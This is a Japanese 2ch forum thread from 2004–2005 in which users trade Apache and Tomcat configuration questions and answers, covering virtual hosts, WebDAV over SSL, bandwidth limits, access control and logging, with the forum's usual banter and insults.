【俺たちゃ裸が】Apache質問スレ【ユニホーム♪】
1 :
DNS未登録さん :
04/12/18 20:06:14 ID:DiC/l8qq
はじめての2ゲット、ありがとん。
3げと スレタイトルわろたw
意味ワカンネ 氏ね
6 :
DNS未登録さん :04/12/19 21:48:27 ID:/rZ+2NJN
apacheスレばかりたてんなボケ
tst
スレタイの解説きぼんぬ
アパッチ野球軍でググるが吉。
>>1 > 最新Verは
> Apache 2.0.52
> Apache 1.3.33
そんな事を書いても、スレが埋まるまでには新しいバージョンが出る訳だが。
初心者が混乱して古いバージョンを使いつづけるとセキュリティ上の問題が発生するだろ。
12 :
1 :04/12/23 17:24:09 ID:???
うるせぇんだよ! 俺様の親切に文句言ってんじゃねぇよ! もっとこう乙!とかよくやった!とか言えねぇのかよ! この板の連中はよぉ!!!
>>12 >>1 よくよめ
4.煽らないこと
5.煽りは無視すること
6.丁寧な言葉使いをすること
w
混乱した初心者の煽りは無視汁。
17 :
DNS未登録さん :04/12/24 06:19:54 ID:iyM8d+8O
早速ですが質問です。WindowsXP/Apache1.3です。PHP4もインストールしています。
DocumentRoot "C:/Apache/home/public_html"
と設定していますので
C:/Apache/home/public_html/index.htm
が
http://localhost/ として表示されています。
現在XREAにて複数の独自ドメイン利用しておりまして、そのテスト用に使用しているのですが、
PHPでサーバルートを取得しようとする場合現在の設定ではうまくいきません。
C:/Apache/home/public_html/www.aaa.com/index.php
C:/Apache/home/public_html/www.bbb.com/index.php
これらのindex.php内で$_SERVER['DOCUMENT_ROOT']にて正しく動作するようにするには
どうしたらよいのでしょうか?よろしくお願いします。。。
19 :
DNS未登録さん :04/12/24 14:00:23 ID:iyM8d+8O
20 :
DNS未登録さん :04/12/25 15:24:08 ID:dDZpFm5R
apache+resinを使用しててresinが落ちるとjspのソースを吐き出してしまうのですが これを防ぐ方法ってありますか?
resinなんて初めて聞いた。tomcatの代わりになるのか、いいねぇ。 落ちる原因は何ですか? daemontool経由で立ち上げるとか。 使えないレスすまそ。
22 :
DNS未登録さん :04/12/25 21:27:20 ID:dDZpFm5R
>>21 resin再起動中や起動し忘れなどですね。
>>22 そりゃ仕方ないのでは?
後者は2つ同時起動|停止するようなスクリプト書けばいいじゃない。
24 :
DNS未登録さん :04/12/26 15:53:45 ID:k6I7d4ki
ここにいるのは役に立たないクズばかりですね もういいです
智恵子先生のおにぎり食べたい
26 :
DNS未登録さん :04/12/27 00:05:59 ID:nueQ9wy7
WinXPSP2な環境なのですが、 Apache2のインストール時にサービス登録でエラーになってしまいます。 回避方法はありますでしょうか?
マシンパワーがそこそこ高い鯖で、Apacheの設定でサーバーレスポンスを 最大限に引き上げるには、どこの設定をどんな風にすれば良いでしょうか? 1日当たり、50万ユニークさばけますか?
おはよー。freebsdでportsから入れようか、それとも自分でコンパイルして入れようか 迷ってるんだけど、あんたらならどっちにする?
30 :
DNS未登録さん :04/12/28 09:08:41 ID:hV1Ayy2T
>>29 自分で
どうせ、suEXECカスタマイズするし
>>29 俺も自分でソースから入れる
その方が、superiority complex を味わえるから
>>33 優越感云々の言い出しっぺは俺だがあんまりはやってないと思うぞ。それ。
>>34 superiority complexの言い出しっぺは俺だが流行らそうとは思ってないから安心してくれ。これ。
36 :
DNS未登録さん :04/12/30 00:38:31 ID:G+32RRjS
メインドメイン www.aaa.com バーチャルドメイン www.bbb.com a1.bbb.com a2.bbb.com とした時に存在しない(設定していない) a0.bbb.com にアクセスすると www.aaa.com に飛んでしまいます。 存在しないアドレスにアクセスしたら エラーを返すように出来ませんでしょうか? Apache 2.0.52です。
name based virtual host を設定するとメインホストはなくなる。
これはドキュメントにも明記されている Apache の仕様。
>>36 のようにメインの www.aaa.com の設定が使われることはありえない。
かつての「もういいです」スレはここ?
>>36 a0.bbb.comを設定してないのにどうやっておまえのサーバーまで到達できるんだ?
DNSの逆引きどうなってんだよ、おい!
41 :
DNS未登録さん :04/12/30 12:08:56 ID:G+32RRjS
>>40 *(ワイルドカード)で設定しています。
これがいけないんでしょうか?
質問です。 Apache2.x系を使っていますが、 併設しているFTPより遙かに転送速度が遅いのですが、 Apache独特の制限とかあるのでしょうか?
>>45 そう言う設定なのでしょう。
あなたの言う設定と同じという確証がない。
47 :
DNS未登録さん :05/01/01 18:03:21 ID:b4UIxmFn
45のようにするにはどうしたりいのでしょう?
>>47 > host www.bbb.com
www.bbb.com is a nickname for bbb.com
bbb.com has address 69.22.160.148
> host a1.bbb.com
Host not found.
> host a2.bbb.com
Host not found.
> host a03.bbb.com
Host not found.
DNSの設定しなければ良いんじゃないの
49 :
DNS未登録さん :05/01/02 08:40:56 ID:zhnzAsSD
>>48 DNSの設定は*(ワイルドカード)を使わないと追いつかないぐらい
たくさんバーチャルドメインを使ってるんです。
50 :
48 :05/01/02 16:21:57 ID:???
>>49 じゃぁ何をしたいの?
45の設定はDNSの正引きが根本的に無いんだよな
でお前のやりたいことは何だよ?
ならばまずは幼稚園バスの乗っ取りだな。 冬休み明けまで待て。
今時の2chではなかなか見られないご発言ですね
>>52
ノネ
>>54 AddDefaultCharset none ← 上記タグ「charset=」指定に任せる場合
ワラタ
59 :
54 :05/01/03 00:25:52 ID:???
>>56 ありがとう。
itmediaに間違った情報がずっと載ってるとは…
記事読んで勉強になったなー、とか思ってた俺orz
ユーザディレクトリについての質問ですが hoge:htaccess可、CGI可、SSI可 foo:htaccess可、CGI可、SSI不可 他のユーザ(user1,user2,user3):htaccess不可、CGI不可、SSI不可 というようにするには、どのような設定をしたら良いでしょうか?
63 :
DNS未登録さん :05/01/05 23:20:59 ID:BVGNW+Lo
ez webサーバーを立てようとして しているのですがどうしても作ることができません。。。。 だれかどういう風につくるかおしえてください。。。。。。
ez web って auの?
65 :
DNS未登録さん :05/01/06 00:21:13 ID:AzyiebwH
そうです。auです。。。 どうしても会社で作らないといけないと言われて。。。 hdmlで書くのは問題がないのですが。。。 apacheがhdmlを認識してくれなくて。。。 mime-typeにtext/x-hdmlを記載するとか httpd.confにAddType text/x-hdml;charset=Shift_JIS .hdmlという行を 追加するとかサイトに載っているんですが… 実際にconfigを上記の行を追加しez携帯にてアクセスするのするのですが 開くことができなくて。。。。 暗中模索。。。。
ezwebってhdmlとかいうやつなの? htmlじゃなくて?
まじでしらんかった htmlでも見れてるしw
apacheの再起動もしくは設定のreloadをしてないとか。
71 :
DNS未登録さん :05/01/06 00:39:41 ID:AzyiebwH
まったく同じページを参考にしてた。。。 www.au.kddi.com/ezfactory/tec/spec/4_2.html ちゃんとリロードしたし。。。。 っていうかほかの人は普通にできているの??
72 :
DNS未登録さん :05/01/06 14:20:36 ID:+VZptcNi
初歩的な質問だとは思うのですが、ここでさせてください。
バーチャルサーバーがうまく稼動しないという質問なのですが、
www.xxx.com
aaa.xxx.com
www.yyy.com
どれにアクセスしても同じファイルを参照してしまうのです。
メインのServerNameがxxx.comとしているのですが、
残りのサブドメインたちが全てメインのフォルダを表示します。
とくに設定は問題ないとは思うのですが、不思議と参照します。
環境としまして、
FedoraCore2の自宅サーバー。
固定のIPを1つ仕様し、ルータにPPPoEをさせてから
このFedoraCore2に外部からのポート指定で振っています。
namedの設定は、
IN NS ns1.xxx.com.
main IN A 123.456.78.9
www IN CNAME main
aaa IN CNAME main
の設定にし、NAMEベースでやっています。
httpd.confの設定は、
NameVirtualHost 123.456.78.9:80
<VirtualHost 123.456.78.9:80>
ServerAdmin
[email protected] DocumentRoot /var/www
ServerName www.xxx.com
</VirsualHost>
<VirtualHost 123.456.78.9:80>
ServerAdmin
[email protected] DocumentRoot /home/aaa/public_html
ServerName aaa.xxx.com
</VirsualHost>
のようにしています。
モジュールもはいっており、
<IfModule mod_userdir.c>
#UserDir disable
UserDir public_html
<IfModule>
としています。
Apache以外のものが起動ししているかや、起動場所、
/etc/httpd/conf/httpd.confをちゃんと呼んでいるのかなどを
試してみましたが、同じディレクトリを表示してしまうという状況が続き、
2週間悩み続けています。
俺レベルでの策はも尽き立ちすくんでいる状態です、どなたか
助長していただけるとありがたいのですが、お願いします。
>NameVirtualHost 123.456.78.9:80 ><VirtualHost 123.456.78.9:80> この IP アドレスは実際に NIC で認識してるものか? 固定 IP でも、NAT でプライベートアドレスに変換されてる場合には そのプライベートの方を書く必要あり。 つーか、固定 IP 1個ならば * で済ませとけ。
俺様のアスタリスクは渡さないぜ
∧∧ (゚Д゚ ) < エッ!? ⊂ ヽ 〉 *ノ~ ∪∪
77 :
DNS未登録さん :05/01/12 12:49:03 ID:EC6fHAwj
1ファイルに同時アクセスされるのを制限にするにはどうすればよいのでしょうか。
>71 まずそのwebサーバ、外のPCから見えるようになっているか 確認するところから始めるべきだな。
80 :
DNS未登録さん :05/01/14 13:49:06 ID:MIlmSP8l
FedoraCore2 アパッチ2 マルチになってすみません、質問させてください。 当方素人自作サーバなんですが、 放置してるとディスプレイに SYNFLOOD〜 のログで溢れています。 このログが溢れているとサーバに負荷がかかってしまっているようです。 半日持たずに重くなっています。 ちなみにSYNCookiesは1です。
マルチさんですか
マルチさんいらないです。
すみません、大変困ってます。orz
>>80 ヘドラコアなんて使うから
ベータ版のOS使って何が嬉しいんだか
>80 少なくともそれはApacheには関係なさそうだ。 そういう訳で、適切な所へ行ってくれ。
86 :
DNS未登録さん :05/01/15 22:33:10 ID:qWfN6/gW
ちょっと教えて欲しい事があるんですが。 なんでApache1.xを使っている人がまだいるんですか? Apache2.0.xで何にも不便な事はないはずなんですが。 Apache1.xを選択した人は、ぜひ理由を教えてください。
>>86 img-boxディレクトリに移動して、
「ls -l」した結果を貼り付けろ
90 :
86 :05/01/15 23:12:40 ID:qWfN6/gW
>>87 やっぱ2.0.xに変えたほうがいいですか?
古いバージョンのほうが枯れているから安定で軽いと聞きますし
はじめから入っていたから下手にいじるとまずいかなとも思いましたし
1.xでもいいかなあと
WWWサーバ:Apache,NCSA,IIS3.0/4.0/5.0,PWS2.0/3.0,AnHTTPd,BlackJumboDog,04webserver1.21以降
となっているから大丈夫かなと思ってしまっているのですが
>>90 確かにApache2.0.xのコードはかなり枯れているので無問題だが、
おまいはそれ以前の問題。Apache1.xを2.0.xに変えても問題は
解決しない。
>92 それどころかFAQのリンク先が存在しないよ。 もう解決済みの問題なのではないか?
95 :
86 :05/01/15 23:39:05 ID:???
>>88 >>91 すみません
返事を書いている間にいろいろレスがついていたようで
VNCサーバーを利用してアクセスしようとしたら繋がらなくなっていて
Pingが通らなくなってしまいました
とりあえず手動でこの書き込みしているPCからモニターを交換して
サーバーの状態をチェックしようと思います
96 :
90 :05/01/15 23:39:58 ID:???
ここにいるのは精神的にお若い方ばかりですね。 もう結構です。
プッ
>>94 apache2がまだ不完全対応って話は、apache2のマルチスレッドにmod_phpが対応できてないから、と英語のヘルプに書いてある。
99 :
86 :05/01/15 23:51:04 ID:???
すみません さっきサーバーを再起動したら システムRAMエラー オフセットアドレス:0064Mbytes システムを停止します と出てしまいました サーバーはNEC MateNX MA30hです メモリは192MBに増設済みです なんとなくメモリに問題があるような気がします とりあえずVineが起動できるようになったらまたきます
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄」
―――――――――――――‐┬┘
|
____.____ |
| | | | 糞マシンを
| | ∧_∧ | | 窓から
| |( ´∀`)つ ミ | 投げ捨てろ
| |/ ⊃ ノ | |
 ̄ ̄ ̄ ̄' ̄ ̄ ̄ ̄ | ミ
>>99 □
101 :
86 :05/01/16 10:51:33 ID:2yzDWzLb
合計 308 -rw-r--r-- 1 root root 1849 Jul 10 2003 htaccess-for-img-box.txt -rwxrwxrwx 1 apache apache 92232 Jan 15 19:44 img20050115194424.jpg -rw-r--r-- 1 apache apache 92232 Jan 15 20:30 img20050115203029.jpg -rw-r--r-- 1 apache apache 110380 Jan 15 21:05 img20050115210508.jpg
MaxClients ってディレクトリ別に設定可能なのでしょうか? 例えば、各ディレクトリ別に設定というのを やってみたがちょっとわからなかったんで。 普通のサーバー会社とかはどうやってるのかな?
104 :
102 :05/01/16 13:24:03 ID:???
103さん、非常に分かりやすかったです。 ディレクトリ毎では不可能ってことですね。 ありがとうございます。 で、ちょっと疑問なんですが、 kagoyaみたいなレンタルサーバーってアカウント毎に厳しい 同時接続数がありますが、あれはどうやっているのでしょうか? apacheの設定ではない?
えと、すみません。 apache2.0.52使用でwebdavを利用しようとしているのですが、windowsXPからhttpsでwebdav用のフォルダ内のファイルを開くと全て読み取り専用になってしまいます。 httpで開くと普通に書き込みも可能なのですが、何か考えられる原因はありますでしょうか。 OS:Debian httpd:apache2.0.52(ソースからコンパイル) ssl.conf内のwebdavの記述は下記の通り(原因不明なので現在は最小限の記述しかしていません)。 同じ記述をhttpd.confにしてhttpでアクセスすると書き込み可能です。 DavLockDB /usr/local/apache2/lock/DavLock <Directory /webdav> DAV On </Directory>
Limitはなんて書いている?
107 :
DNS未登録さん :05/01/16 22:08:19 ID:g2ftD6S0
cgiを実行できるようにするにはどう設定したらいいんでしょうか? バージョンは1.3.33です。
108 :
105 :05/01/16 22:14:18 ID:???
http と https で実行ユーザーやグループが違っていないか
110 :
105 :05/01/16 23:28:14 ID:???
>>109 ssl.confにグループとユーザーの指定の部分ありましたっけ?(汗
それが原因だとしたらどこの部分で設定なのでしょうか。
111 :
DNS未登録さん :05/01/17 21:59:40 ID:gBJGVLq9
アクセス制限についてお教えいただきたいのですが。 apache1.3.33です。 アップローダに登録されているファイルへの直リンによるダウンロードを拒否したいので、 そのディレクトリに SetEnvIf Referer "アップローダの文字列" ref_ok Allow from env=ref_ok と設定しました。そしてFirefoxではうまくいったのですが、InternetExplorerでは動画 ファイルや音声ファイル、大きいファイルではアクセスできなくなってしまいました。 メディアプレイヤーや分割してダウンロードする時にリファラが無いからだと思うのですが、 どのように設定すれば直リンを拒否できてIEからでもダウンロードできるようになるでしょうか。
>>111 IEはファイルを保存するときにリファラを送らない仕様だから無理。
mod-layoutでヘッダーに広告を表示してるんですが、CGIの掲示板だといくつか記事を表示した後にヘッダーがまた入り同様にそれより上と同じ文章が繰り返されます mod-layoutのAddOutputFilterとかLayoutHeaderの部分をコメントアウトして広告が入らないようにするとちゃんと最後まで表示されるんでmod-layoutが問題だと思うんですけど どうにかならないでしょうか? 環境はVinelinux2.6、Apache2.0.52です
Linuxでtestというユーザーを作り
ttp://zzz/~test/ にアクセスしても403Forbiddenしかでません。
設定はデフォルトでpublic_html内にhtmlファイルを置くようにしてます。
(/home/test/public_html/index.html)
index.htmlにアクセスするにはどうすればよいのですか?
testフォルダとpublic_htmlのアクセス権は755です。ファイルは777
>>114 予想
・デフォでindx.htmlを見に行かないようにしている
・index.htmlのパーミッション
・設定間違えてる
117 :
111 :05/01/18 23:26:46 ID:33oAn7c+
>>112 了解しました。
リアルメディアあきらめてメディアプレイヤーOKにしました。
メディアプレイヤーで直接ファイルは読めるんですが当分これで行こうと思います。
ほかに複数の組み合わせでどうにかなりませんかね?
もっとも、CGIのスクリプトを変更して外部から保存してあるディレクトリを直接読み取れないようにすればいいんですが。
俺たちゃ裸足が スパイクさ♪
できました。ユーザーディレクトリ(testディレクトリ)のパーミッションが700になっていたため ほかのPCから403になっているだけでした。
120 :
115 :05/01/19 02:35:12 ID:???
全く分からん・・・せめてhttpでも駄目っていう方がまだ対処しやすいっぽいのに・・・illorz
121 :
105 :05/01/19 02:36:44 ID:???
しかも名前欄の番号間違えてるし・・・吊ってきますわ(AA略
122 :
DNS未登録さん :05/01/20 18:28:03 ID:boXPVjOQ
Apache1.3.33(SuEXEC)、PHP4、mod_layoutをインストールしたんですが 下のようになってApacheが起動してくれません mod_layout関係の記述を消せば起動できるんですが、なんとかmod_layoutを残したまま起動させる方法はないでしょうか? Trying to insert <body*> ADDING LAYOUT:<body*> (1) (2)(1) /usr/local/apache/bin/apachectl: line 186: 928 セグメンテーション違反です $HTTPD Error_logには何も残ってませんでした
123 :
DNS未登録さん :05/01/24 19:10:31 ID:xUbPPXRh
mod_bandwidth の利用例みたいなのどっかにないですかね? ぐぐったけどみつかりませんですた
124 :
123 :05/01/24 19:26:58 ID:xUbPPXRh
mod_bandwidth についてなんですが、 <Directory /home/www> BandWidth all 1024 </Directory> この場合は、接続者ごとに上記が適用されるってことでよろし? 例えば、100Mbpsでつないでて、 同時に /home/www に3人が接続した場合は、 1024 + 1024 + 1024 で合計 3Mbps使用されるってことでしょうか? それとも 1024 / 3 で それぞれ0.3Mbps になるのでしょうか?
126 :
123 :05/01/24 21:53:03 ID:xUbPPXRh
>>125 レスありがとうございます。
あと一つだけご教授ください
<Directory /home/*>
BandWidth all 1024
</Directory>
ってやったとき、
は
1人が /home/www1/ に、
1人が /home/www2/ に
同時にアクセスした場合、
/home/www1/ は0.5Mbpsになるのでしょうか?
それとも /home/www1/ は1Mbpsになるのでしょうか?
ssiの質問です 例えば public_html |-index.html |-file | |-footer.txt のような構造で index.htmlに <!--#include virtual="./file/footer.txt" -->と記述して表示させると仮定します。 この場合に、fileディレクトリ内のファイルをssiでの読み込み以外では 閲覧できないようにする方法はないでしょうか?
でにぃ〜あろぉ〜でいいんでない
>>128 適当な事書いてんじゃねぇよ!!池沼が!!
>>126 BandWidth all 1024
これの意味はおわかりだろうか。
わかれば答えはでますよ。
先ほどはよく読まずにレスしたが、
1024っつー値が1Mbpsではないぞ。
131 :
126 :05/01/25 01:49:16 ID:ueFaxMJS
>>130 「全ての条件に適応」って意味ですよね・・・。
答えは輪から名逸す
132 :
DNS未登録さん :05/01/25 03:42:52 ID:9Cj7Z/jK
cgiをどのフォルダでも動作するようにするには どうしたら良いのでしょうか? もしくはcgi-binの中のhtmlファイルを表示させるには どうしたらいいのでしょうか?
134 :
chmod 774 :05/01/25 11:23:36 ID:uLyCesp7
はじめまして。LinuxでのWebDAV構築で問題が発生したのでこちらで質問させて下さい。 構築サーバ環境は以下の通りです。 OS:VineLinux3.1 Apache:Ver2.0.52 WebDAVサーバをWindowsXPクライアントからSSL接続を使って利用したいという状況ですが、 何とかWindowsXPからSSL接続を用いてファイルの読み書きが出来るようになりました。 そこで、Linuxパーティションのディスク容量不足を感じ、WebDAV共有ディレクトリのLinux側パスを変更すると、 次回のWindowsXP側からの接続の際に”デジタル証明書の選択”というウインドウが開かれるようになり、 選択する証明書もなく、そのウインドウから先に進めなくなってしまい、 WebDAVディレクトリへアクセスできなくなってしまいました。 以下にLinux側で変更をかけた文章を記載致します。(httpd.confの一部) いろいろとググってはみたものの、正直行き詰まってしまいました。 ヒントだけでも構いませんので、お教え頂けますと大変助かります。 よろしくお願い致します。 ※アパッチユーザー、グループとも "apache"で、 新規に作成した"/home/user/dav"のユーザ、グループは"apache"、パーミッションは"755"です。 ●変更前(正常運用出来ていた) DavLockDB /var/lock/dav/DavLock Alias /doc "/etc/apache2/dav" <IfModule mod_dav.c> DAVMinTimeout 600 <Location /doc> DAV On SSLRequireSSL </Location> </IfModule> ●変更後 DavLockDB /var/lock/dav/DavLock Alias /doc "/home/user/dav" <IfModule mod_dav.c> DAVMinTimeout 600 <Location /doc> DAV On SSLRequireSSL </Location> </IfModule>
136 :
chmod 774 :05/01/25 12:00:26 ID:uLyCesp7
>>135 様、
レスありがとうございます。
申し訳ありませんでした。エラーログ記載忘れておりました。
それらしきエラーは以下の通りです。
error_log
[error] (120002)APR does not understand this error code: Cannot create SSLSessionCache DBM file `/var/cache/mod_ssl/scache'
ssl_error_log
[error] [client xx.xx.xx.xx] (13)Permission denied: access to /doc denied
[error] (120002)APR does not understand this error code: Cannot open SSLSessionCache DBM file `/var/cache/mod_ssl/scache' for scanning
[error] (120002)APR does not understand this error code: Cannot open SSLSessionCache DBM file `/var/cache/mod_ssl/scache' for reading (fetch)
[error] (120002)APR does not understand this error code: Cannot open SSLSessionCache DBM file `/var/cache/mod_ssl/scache' for writing (store)
なぜかパーミッションがらみでエラー記録されています。新しく作成したディレクトリのユーザーはapacheですし・・・疑問です。
>>136 httpd.confのUserディレクティブは本当に "apache" になってるのかい?
su apache して該当のディレクトリが本当に参照可能かどうか確認すれ。
138 :
chmod 774 :05/01/25 14:22:20 ID:mfq1Q3y4
>>137 様
ありがとうございます。
su apache で該当のディレクトリは覗くことが出来ます。
今一度httpd.conf、ssl.conf、パーミッション等を見直してみます。
何か変化がありましたら報告に参ります。
ありがとうございました。
139 :
chmod 774 :05/01/25 16:23:20 ID:QShvNOUI
WebDAV動作不具合の件、解決致しました。 httpd.conf,ssl.confのDocumentRootを見直したところ、 WebDAVが正常動作するようになりました。 一部設定漏れ(DocumentRoot相違)があったようです。 大変ご迷惑をおかけしました。 あわせて、ご指導頂いた方には大変感謝致します。 ・・・_| ̄|○・・・はうぅ・・・
140 :
DNS未登録さん :05/01/25 22:47:02 ID:vi2rTw3x
TOMCATのインストールがうまくいきませn OSはXPSP2 VERは4.127 C直下にstrというフォルダを作ってそこに入れました。そしてserver.xmlに <!-- School Lesson Context --> <Context path="/str" docBase="C:\str" crossContext="true" debug="0" reloadable="true"> </Context> そしたら HTTP Status 500 - -------------------------------------------------------------------------------- type Exception report message description The server encountered an internal error () that prevented it from fulfilling this request. exception javax.servlet.ServletException: com/sun/tools/javac/Main (Unsupported major.minor version 49.0) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:249) at javax.servlet.http.HttpServlet.service(HttpServlet.java:853)
141 :
DNS未登録さん :05/01/25 22:50:32 ID:vi2rTw3x
というエラーが出ましたjasperってことはコンパイルできてないってことなのかな? ってただインストールしただけなのになんでjasperがでてくるのかわかりません 今まで何回もインストールしたのにコンなのは初めてです
142 :
DNS未登録さん :05/01/25 22:52:03 ID:vi2rTw3x
どうかアドバイスなどあればお願いします
まずは標準で入ってるexamleの中の人たちは稼働するのですか?
Apache2.0.x+Tomcat5.5.x)での連携設定方法をご存知ありませんか? OSはWinXPSP2です。 ぐぐったのですがサイトによってかいてあることが違ってうまくいきません。 どなたかうまくいった方が折られましたら、参考にしたサイトを紹介していただけないでしょうか? あと成功例でも結構ですどうぞよろしくお願いします。
マルチしすぎ。 どこで話を進めるのか決めて、その他のところで謝っておいで。 > ぐぐったのですがサイトによってかいてあることが違ってうまくいきません。 どうやってどうだめだったのか説明が必要。
147 :
DNS未登録さん :05/01/30 21:50:16 ID:YKrZCvRL
Apache 1.3.33 にphp 4.3.10をインストールしてdyndsnで動的IPにして自宅鯖運営したいのですが詳しく説明されているHPなどありますか? OSはWindows2000Serverでつ
そこで、 Windows apache php サーバー でグーグル検索ですよ。
150 :
DNS未登録さん :05/01/31 01:12:56 ID:2k0AoiRU
>>149 質問?いいでつか?
ローカルでapacheに接続は出来ましたが動的IPで出来ません。phpも上手くいきません。
アドバイスお願いします。
151 :
DNS未登録さん :05/01/31 02:24:31 ID:C42mFy1b
ログの保存についてどなたか教えてください。
aaaa.netという独自ドメインを取得しています。
apacheのバージョンは1.3.33です
バーチャルホストの設定でログを別に出すようにしています。
<VirtualHost *:80>
ServerAdmin
[email protected] DocumentRoot /usr/local/apache/htdocs
ServerName www.aaaa.net
ErrorLog logs/www.aaaa.net-error_log
TransferLog logs/www.aaaa.net-access_log
</VirtualHost>
<VirtualHost *:80>
ServerAdmin
[email protected] DocumentRoot /home/user/public_html
ServerName user.aaaa.net
ErrorLog logs/user.aaaa.net-error_log
TransferLog logs/user.aaaa.net-access_log
</VirtualHost>
ウイルスなどのアクセスを別ファイルにしたくて
tp://www.dream-seed.com/linux/apache_log.html
↑ここを参考にしました
CustomLog行を入れるとアクセスログがエラーログの中にまで書き込まれてしまうので
使えません。
TransferLog logs/www.aaaa.net-access_log env=!worm
TransferLog logs/www.aaaa.net-worm_log env=worm
↑のように二行<VirtualHost>内に記述するとapache起動時にエラーになってしまいます。
どなたかスマートな解決方法ありましたらよろしくお願いします。
152 :
151 :05/01/31 02:26:16 ID:C42mFy1b
>>151 ウイルスなどはIPアドレスを直接叩いてくるので一番最初のバーチャルホストの設定が使われる
そこで一番最初に実際には使用しないバーチャルホストを設定しそこでログをとればよし
154 :
151 :05/01/31 03:00:57 ID:C42mFy1b
>>153 納得。
最高にスマートな回答ありがとうございました。
Fedora core 3、Apache2.0.52で自鯖たててます tDiaryを使いたいのですがmod_rubyがインストールできません まず、2.0.52にmod_rubyインストールできるのでしょうか また、他にrubyを組み込む方法はありますか?
>>155 怒らないから、
どうやろうとして、どういうエラーが出たのか、やったとおりに言ってみそ
というか、ウイルスじゃなくても非固定IPアドレス・DDNSでやってるなら
>>153 の設定はやっておくべきだと思うのですが、どうなんですか?
>>158 漏れは怒るけどね!(・∀・)カエレ!!
コマンドラインから
# locate apxs とかやってください。
ソースからだと$ServerRoot/bin/apxsとかにある。
tDiaryであればrpmでrubyを入れてもヨシ。
# rpm -Uvh ruby
私は後者で稼働させてます。
>159 優しいな、おまい(・∀・)
たぶん、apxs見つからないよ。 素人には見つからないようになってるのさ。 じゃなくて、rpmからhttpdをインストールしても、apxsは入らない。 httpd-develを入れないとね。 ・・・俺だって必死にapxsを探して、見つからなかったんだよ。
>159-161 みなさん、ありがとうございました やってみます
164 :
DNS未登録さん :05/02/01 00:48:01 ID:iDuUafMD
>>157 様
どうか怒らずにその理由を教えてください
すいません、apache1.3.33を利用しているんですが、.htaccess を使うためには httpd.confに何か設定しないといけないんでしょうか?それとも、デフォルトの設定でも利用できるんでしょうか?
167 :
165 :05/02/02 21:43:18 ID:???
168 :
DNS未登録さん :05/02/03 19:06:48 ID:i0ethnQf
旧バージョンでの動作検証のため apache1.3.27を探しています。 ダウンロードできるサイトをご存知の方 いらっしゃいますか?
169 :
168 :05/02/03 19:14:11 ID:???
ごめんなさい…。 本家にきちんと置いてありました。 お騒がせいたしました。
170 :
雪印コーヒー :05/02/06 02:31:22 ID:Fq/Ox4ly
質問させてください。 一人当たりのアップ転送速度を絞りたいのですがどうすればよいのでしょうか? 上り回線に限界があり高速回線の人が接続すると上り帯域全部持って行かれてしまうので 誰が接続しても速度を1人当たり20KB/秒ほどに制限したいのです。 誰もが公平にアクセスできるようにしたいのでそういったモジュールがあれば教えて頂けないでしょうか? OSはFedora Core2でApache2.0.48です宜しくお願いします。
172 :
DNS未登録さん :05/02/07 13:28:41 ID:RxYPkKCu
FedoraCore3 Apache2で鯖を立てています。
現在mod_userdirでホームディレクトリを分けています。
http://hogehoge.com/~<user >
↓
パス:/home/<user>/public_html
これを下記のような構造でアクセス出来るように設定したいのですが、
http://<user >.hogehoge.com
↓
パス:/home/<user>/public_html
バーチャルホストの手動による変更だと一度再起動が必要だと思うんですが、
再起動無しで普通にこの構造で運用している鯖が沢山あるんですが、
どういう設定をすれば出来るのでしょうか。
>>172 設定ファイルだけ読み込みし直せばいいのではないでしょうか。
Apache2でログをとらないように設定したいんですが、 ログ関連のディレクティブをコメントするだけで大丈夫ですか?
178 :
DNS未登録さん :05/02/08 10:50:12 ID:6U6R/d7Y
Fedora2でApacheサーバを組んでいるのですが mod_perlをrpmでインストールするとhttpd起動時に > Syntax error on line 10 of /etc/httpd/conf.d/perl.conf: > Cannot load /etc/httpd/modules/mod_perl.so into server: > libperl.so: cannot open shared object file: No such file or directory というエラーがでます。 perl.confの10行目は > LoadModule perl_module modules/mod_perl.so となっており/etc/httpd/modulesにはmod_perl.soもlibperl.soもあります。 どこを訂正すればよいのかよろしくご教授ください。 インストールしたrpmは httpd-2.0.49-4.i386.rpm mod_perl-1.99_12-2.1.i386.rpm などです。
>>178 FCで躓くようなスキルなら窓に返った方が良いよ
この程度のエラーの原因が追及出来ない、また対応出来ないユーザーが
鯖を立てたとしても後々、みんなに迷惑をかけるとしか思えない
というか釣りか^^
>>178 libperl.so は /etc/ld.so.conf に書かれてるディレクトリのうちのどこかに置け。
fedoraは好かん!
182 :
178 :05/02/08 14:02:19 ID:???
>180 ありがとうございます。 いわれたとおりにしてみたのですがうまくいきませんでした。 その後、mod_perl-1.99_09-10.i386.rpmをみつけて入れ換えたら とりあえず起動したのでこっちでがんばってみようとおもいます。 >181 わたしも順当に嫌いになってるところです。
適当にパッケージを拾ってきて入れてるのが原因だ! と誰も突っ込まないのですね
184 :
178 :05/02/08 14:54:29 ID:???
>>177 ローカルでPingBombを使った耐久負荷テストをするだけだから、
純粋にApache2自体のスレッド処理能力を確かめられれば
いいので問題ないです、一応、ログログ関連のディレクティブをコメント
して生成されない事は確認できました、わざわざ参考になるURL
を引いてもらったのに申し訳ないです。
187 :
DNS未登録さん :05/02/09 01:02:07 ID:prnpbmrj
自宅のLinuxでWebサーバを運用しようとしてるのですが
どうしても解せない症状が出てるので原因がわかる方があれば教えて欲しいです。
サーバはApache 1.3.33です。
特定のディレクトリ配下をi-mode以外からアクセス不可にするために
以下のような.htaccessを書いてそのディレクトリに置きました。
order deny,allow
deny from all
allow from .docomo.ne.jp
ところが実際にi-modeからアクセスするとForbiddenと弾かれてしまいました。
で、
allow from 210.136.161.
の一行を追加するとアクセスできるようになりました。
DNSの逆引きができてないのではと思いましたが
以下の点を確認したところ、いけてるっぽいです。
1) digによる確認
2) REMOTE_HOSTを表示させるCGIを設置してホスト名が表示されることを確認
3) アクセスログにホスト名が出力されることを確認
しかし、該.htaccess(allow from 210.136.161.)を置いたディレクトリ配下では、
2)、3)で出力されるホスト名の部分がIPアドレスになってしまいます。
要するに.htaccessを置いたディレクトリ配下でのみ逆引きに失敗してる感じです。
なお、.htaccessではなく、httpd.confに直接同様のことを書いても
症状は同じでした。
原因としてどんなことが考えられるのでしょうか?
以下の掲示板に書き込んだところレスがないのでこちらにマルチポストしました。
http://sakaguch.com/cgi/bbs/?mode=allread&no=18301&page=10 「鷹の巣」の自宅サーバー 掲示板
>>188 レスサンクスです。
>
ttp://www.nttdocomo.co.jp/p_s/imode/ip/index.html#ip > を参考にIPアドレスで指定するのは駄目?
とりあえずその方向でいきます。
